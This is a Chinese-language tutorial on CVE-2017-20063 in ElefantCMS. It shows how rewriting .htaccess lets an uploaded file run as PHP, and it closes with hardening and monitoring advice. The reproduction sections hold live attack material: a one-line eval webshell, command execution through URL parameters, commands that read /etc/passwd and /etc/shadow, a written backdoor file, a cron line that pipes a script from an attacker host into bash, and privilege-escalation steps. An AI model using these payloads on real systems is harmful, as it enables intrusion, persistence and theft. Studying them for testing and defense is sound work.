从CVE-2017-20063看.htaccess配置篡改如何绕过文件上传防护
1. 项目概述:一次被忽视的“.htaccess”攻击路径
在Web安全测试的日常里,提到文件上传漏洞,很多人的第一反应就是寻找那些允许上传.php、.jsp或.asp等可执行脚本后缀的入口。这种思路没错,但过于直接,往往会被现代应用的各种前端校验、MIME类型检查和黑名单过滤挡在门外。今天我想分享的,是关于CVE-2017-20063在ElefantCMS中的一个实战案例,它教会我的最重要一课是:真正的攻击者,从不只盯着最终的执行文件本身,而是控制执行环境。
这个漏洞的核心,并非一个直接的上传点,而是一个权限配置不当的.htaccess文件编辑功能。攻击者通过篡改这个Apache服务器的目录配置文件,可以“无中生有”地创造一个文件上传漏洞,甚至将原本无害的图片上传点,变成一条直达服务器权限的通道。这就像你无法直接带一把刀进入大楼,但你却可以修改大楼的安全手册,规定“所有绿色包装的盒子免检”,然后你只需要把刀放进绿色盒子里即可。.htaccess文件,就是这个“安全手册”。
2. 漏洞原理深度解析:为什么能编辑.htaccess是致命的?
在深入实操之前,我们必须先理解这个漏洞的根源。ElefantCMS是一个基于PHP的开源内容管理系统,在受影响版本中,其管理员后台提供了一个名为“设计器”或“文件管理器”的功能,允许管理员直接在线编辑网站目录下的文件,这其中就包括了.htaccess。
2.1 .htaccess文件的权力边界
.htaccess(超文本访问)是Apache Web服务器的一个配置文件,它可以在每个目录中覆盖主服务器的全局配置。它的能力非常强大,常见用途包括:
- URL重写与重定向:这是最广为人知的功能,通过
RewriteRule实现。 - 目录访问控制:通过
Require指令限制IP或用户访问。 - 自定义错误页面:指定404、500等错误时显示的页面。
- 设置文件类型处理器:这是本次攻击的关键,即
AddHandler或SetHandler指令。
例如,一条简单的配置AddHandler application/x-httpd-php .jpg,会告诉Apache服务器,将所有.jpg文件当作PHP脚本来解析执行。这意味着,即使你上传了一个包含PHP代码的图片文件(比如在图片元数据中插入<?php phpinfo(); ?>),服务器也会尝试去执行其中的PHP代码,而不是仅仅将其作为静态图片输出。
2.2 CVE-2017-20063的漏洞链
这个漏洞的本质是一个权限绕过导致配置篡改,最终引发任意代码执行的链条。
- 权限缺陷:ElefantCMS的后台文件编辑功能,未能对可编辑的文件路径进行严格校验,或者其身份验证/授权逻辑存在缺陷,使得攻击者能够访问并编辑本应受保护的
.htaccess文件。在某些配置下,甚至可能通过CSRF(跨站请求伪造)诱使管理员执行编辑操作。 - 配置篡改:攻击者编辑目标目录下的
.htaccess文件,添加将特定后缀(如.test,.phtml,.jpg)解析为PHP的指令。 - 寻找上传点:几乎所有的CMS都有图片或附件上传功能(如用户头像、文章插图)。这些上传功能通常对后缀有严格限制(只允许
.jpg,.png,.gif),并且会对文件内容进行简单的图片头校验,但不会防御文件包含PHP代码。 - 组合利用:攻击者将Webshell代码写入一个
.jpg文件,利用合法的上传功能将其传送到已被篡改的目录中。由于.htaccess的规则,这个.jpg文件会被服务器以PHP解析,Webshell得以执行。
注意:这种攻击方式之所以隐蔽,是因为它在两个看似无害的“合规”操作中完成了攻击:合规地编辑了一个配置文件,合规地上传了一张“图片”。安全设备或WAF若只检测单次请求,很难将其判定为攻击。
3. 实战环境搭建与漏洞复现
理解了原理,我们动手搭建环境进行复现。请务必在授权的测试环境(如本地虚拟机、隔离的VPS)中进行所有操作,切勿对任何未授权的系统进行测试。
3.1 准备漏洞环境
首先,我们需要一个存在漏洞的ElefantCMS版本。根据公开资料,CVE-2017-20063影响较早的版本(如1.3.x系列)。你可以从一些历史版本归档网站或GitHub的Release历史中寻找。
步骤1:部署测试环境我使用了一台安装有Ubuntu 20.04的虚拟机,环境组合是经典的LAMP(Linux, Apache2, MySQL, PHP)。
# 安装Apache、MySQL、PHP sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql php-gd php-xml unzip # 启动服务 sudo systemctl start apache2 sudo systemctl start mysql sudo systemctl enable apache2 mysql步骤2:安装ElefantCMS
- 下载漏洞版本的ElefantCMS ZIP包。
- 将其解压到Apache的Web根目录(通常是
/var/www/html/),假设解压后目录为/var/www/html/elefant/。 - 通过浏览器访问
http://your_test_ip/elefant/,按照安装向导完成CMS的安装。过程中需要创建数据库和管理员账户,请务必记下这些凭据。 - 安装完成后,移除或重命名安装目录(如
install文件夹),这是基本的安全操作。
3.2 定位与利用漏洞点
步骤1:登录后台并找到文件编辑器使用安装时创建的管理员账号登录后台(通常是http://your_test_ip/elefant/admin)。在后台管理菜单中,寻找类似“设计”、“文件”、“工具”或“设置”的选项,其下应包含一个文件编辑器,可以浏览和编辑网站目录中的文件。在旧版Elefant中,这个功能可能叫“Designer”或直接是“File Manager”。
步骤2:编辑.htaccess文件
- 在文件编辑器中,导航到Web根目录或你计划上传文件的目录(例如,用户上传目录可能是
/files或/uploads)。 - 找到或创建该目录下的
.htaccess文件。如果不存在,你可以先创建一个空的.htaccess文件。 - 在文件编辑器中,向
.htaccess文件添加以下恶意规则:
这里我选择使用# 将 .test 后缀的文件解析为PHP AddType application/x-httpd-php .test # 或者,更隐蔽地,将 .jpg 文件也解析为PHP(风险高,易被发现) # AddHandler application/x-httpd-php .jpg.test这个不常见的后缀,以减少对正常网站功能的影响,也更隐蔽。保存文件。
步骤3:利用常规上传功能
- 现在,我们需要找到一个允许上传文件的功能点。这可能是“媒体库”、“上传头像”、“添加文章附件”等。为了演示,我们假设有一个简单的用户头像上传功能。
- 准备一个Webshell文件。创建一个文本文件,将其重命名为
shell.test(注意后缀是我们刚才在.htaccess中定义的.test)。文件内容可以是一个最简单的PHP一句话木马:
实操心得:在实际测试中,为了避免被杀毒软件或简单的内容检测拦截,可以将Webshell代码进行Base64编码、字符串反转等简单混淆,或者直接使用图片马(将PHP代码插入到图片文件的元数据中,如EXIF)。但在这个案例中,由于我们控制了文件解析规则,即使是最原始的一句话木马,只要后缀是<?php @eval($_REQUEST['cmd']);?>.test,也会被成功解析。 - 通过目标上传功能,上传这个
shell.test文件。系统可能会因为后缀名.test不在白名单而拒绝。这时就需要一点技巧:如果前端有JS校验,可以禁用浏览器JS或修改前端代码绕过;如果后端有白名单校验,那么你可能需要寻找另一个原本就允许更多后缀的上传点,或者尝试双写后缀(如shell.jpg.test)、大小写绕过(如shell.TEST)等。在本漏洞的理想情况下,我们找到的上传点恰好对后缀校验不严,或者我们通过其他方法(如PUT方法、插件漏洞)将文件放置到了目标目录。 - 假设上传成功,文件保存在
http://your_test_ip/elefant/uploads/shell.test。
步骤4:访问Webshell并执行命令在浏览器中直接访问上传文件的URL:http://your_test_ip/elefant/uploads/shell.test。如果页面空白或没有报错(如500错误),很可能说明PHP已经被执行了。 接下来,通过GET或POST参数传递命令。例如,访问:http://your_test_ip/elefant/uploads/shell.test?cmd=system(‘whoami’);如果页面上显示了当前Web服务的运行用户(如www-data),则证明漏洞利用成功,我们获得了在Web服务器上下文下的命令执行权限。
4. 攻击链的扩展与高级利用技巧
基础的Webshell上传只是开始,一个成熟的攻击者会利用这个立足点进行横向移动和权限提升。
4.1 信息收集与环境探测
一旦获得命令执行能力,首先应进行信息收集:
- 当前权限:
whoami,id - 系统信息:
uname -a,cat /etc/issue,cat /proc/version - 网络信息:
ifconfig,netstat -antp,cat /etc/hosts - 进程信息:
ps aux - 敏感文件:尝试读取
/etc/passwd,/etc/shadow(需要root),网站配置文件(如config.php,database.php),历史命令history。
你可以将多条命令用分号连接,通过Webshell一次性执行并回显:?cmd=echo “===User===”; whoami; echo “===OS===”; uname -a; echo “===Net===”; ifconfig;
4.2 建立持久化后门
直接通过URL传递命令的Webshell不稳定。我们需要建立一个更隐蔽、功能更强的后门。
- 写入更完整的Webshell:利用已有的执行权限,向服务器写入一个功能更全的Webshell文件,例如著名的
AntSword(中国蚁剑)或C刀的PHP版本。
注意事项:路径需要绝对正确,且Web用户(www-data)对该目录有写权限。通常# 使用echo命令写入 ?cmd=echo ‘<?php @eval($_POST[“ant”]);?>’ > /var/www/html/elefant/backdoor.php/tmp目录是全局可写的,可以作为中转站。 - 计划任务(Cron)持久化:添加一个每分钟连接一次攻击者服务器的计划任务。
?cmd=echo “* * * * * curl http://attacker.com/shell.sh | bash” >> /tmp/cron_task; crontab /tmp/cron_task -u www-data重要提示:此操作非常容易被发现,仅用于演示持久化思路。在真实渗透测试中,需要更隐蔽的方式,如写入
.htaccess或php.ini的auto_prepend_file配置,或者修改现有的合法PHP文件插入后门代码。
4.3 权限提升(提权)
Web服务通常以低权限用户(如www-data,apache,nobody)运行。我们需要寻找将其提升为root的方法。
- 内核漏洞提权:使用
uname -a查看内核版本,搜索对应的公开漏洞(如DirtyCow, CVE-2021-4034等)。在测试环境中,可以上传或编译对应的漏洞利用程序(如dirtycow.c)并执行。 - SUID/GUID文件滥用:查找具有SUID权限的可执行文件。
查找像?cmd=find / -perm -u=s -type f 2>/dev/nullfind,vim,bash,more,less等命令是否具有SUID位,并尝试利用已知技巧(如GTFOBins上记录的方法)进行提权。 - 数据库提权:如果Webshell可以访问MySQL数据库,并且数据库以root运行,可以尝试通过MySQL的
User Defined Functions (UDF)或写入SSH密钥等方式提权。
5. 防御策略与安全加固建议
从防御者视角看,这个漏洞链给我们上了深刻的一课:安全是一个整体,任何一个环节的疏忽都可能导致全盘沦陷。
5.1 针对开发与运维的加固措施
- 最小权限原则:
- 文件系统:确保Web用户(www-data)对网站目录只有必要的读写权限。例如,上传目录只给写权限,不给执行权限(
chmod 755 uploads/)。.htaccess、配置文件等关键文件应设置为只读(chmod 444 .htaccess)。 - 后台功能:严格审查后台的每一个功能。像在线编辑
.htaccess、php.ini等核心配置文件的功能,应默认关闭,或仅对超级管理员开放,并增加二次认证(如密码、OTP)。
- 文件系统:确保Web用户(www-data)对网站目录只有必要的读写权限。例如,上传目录只给写权限,不给执行权限(
- 输入验证与过滤:
- 文件上传:实施“白名单”机制,只允许特定的、安全的文件后缀(如
.jpg,.png,.pdf)。不要使用黑名单,它总会被绕过。 - 内容检查:对上传的图片等文件,使用
getimagesize()等函数进行严格的图片格式验证,而不仅仅是检查文件头。对于其他文件类型,也应进行相应的内容校验。 - 路径校验:后台文件编辑器必须对用户提供的文件路径进行规范化(Canonicalization)和严格校验,防止目录穿越(
../../../),并禁止编辑系统文件或特定后缀(如.htaccess,.php,.conf)的文件。
- 文件上传:实施“白名单”机制,只允许特定的、安全的文件后缀(如
- 服务器配置加固:
- 在Apache主配置(
httpd.conf或sites-available/下的虚拟主机配置)中,针对上传目录等敏感位置,禁用.htaccess的覆盖功能:<Directory "/var/www/html/uploads"> AllowOverride None php_flag engine off # 如果该目录不需要PHP,直接关闭PHP解析 </Directory> - 将
php.ini中的expose_php设置为Off,隐藏PHP版本信息。 - 定期更新PHP、Apache及所有依赖库到最新稳定版。
- 在Apache主配置(
5.2 安全监控与应急响应
- 文件完整性监控:使用工具(如AIDE, Tripwire)或脚本监控关键文件(如
.htaccess,index.php, 核心配置文件)的变更,一旦发现未授权的修改立即告警。 - 日志分析:集中收集并分析Web访问日志(Apache的
access.log和error.log)。关注对异常后缀文件(如.test,.phtml)的访问,以及大量失败的登录尝试、异常的POST请求等。 - 定期漏洞扫描与代码审计:对自身代码和使用的第三方组件(如ElefantCMS)进行定期的安全扫描和代码审计,及时修补已知漏洞。对于不再维护的旧版CMS,应制定计划进行升级或替换。
- 应急响应预案:一旦发现入侵,立即隔离服务器,分析日志定位攻击入口和上传的Webshell,清除后门,修复漏洞,并检查是否有数据泄露或内网横向移动的痕迹。
这个案例清晰地展示,一个看似边缘的管理功能(.htaccess编辑),如何与一个常规功能(文件上传)串联,形成一条致命的攻击链。它提醒我们,安全防御必须立体、纵深,不能只盯着“上传.php文件”这一个点,而要对整个文件解析逻辑、权限控制系统和用户输入链条保持全方位的警惕。在实战中,绕过防御的往往不是最锋利的矛,而是那块最不被注意的短板。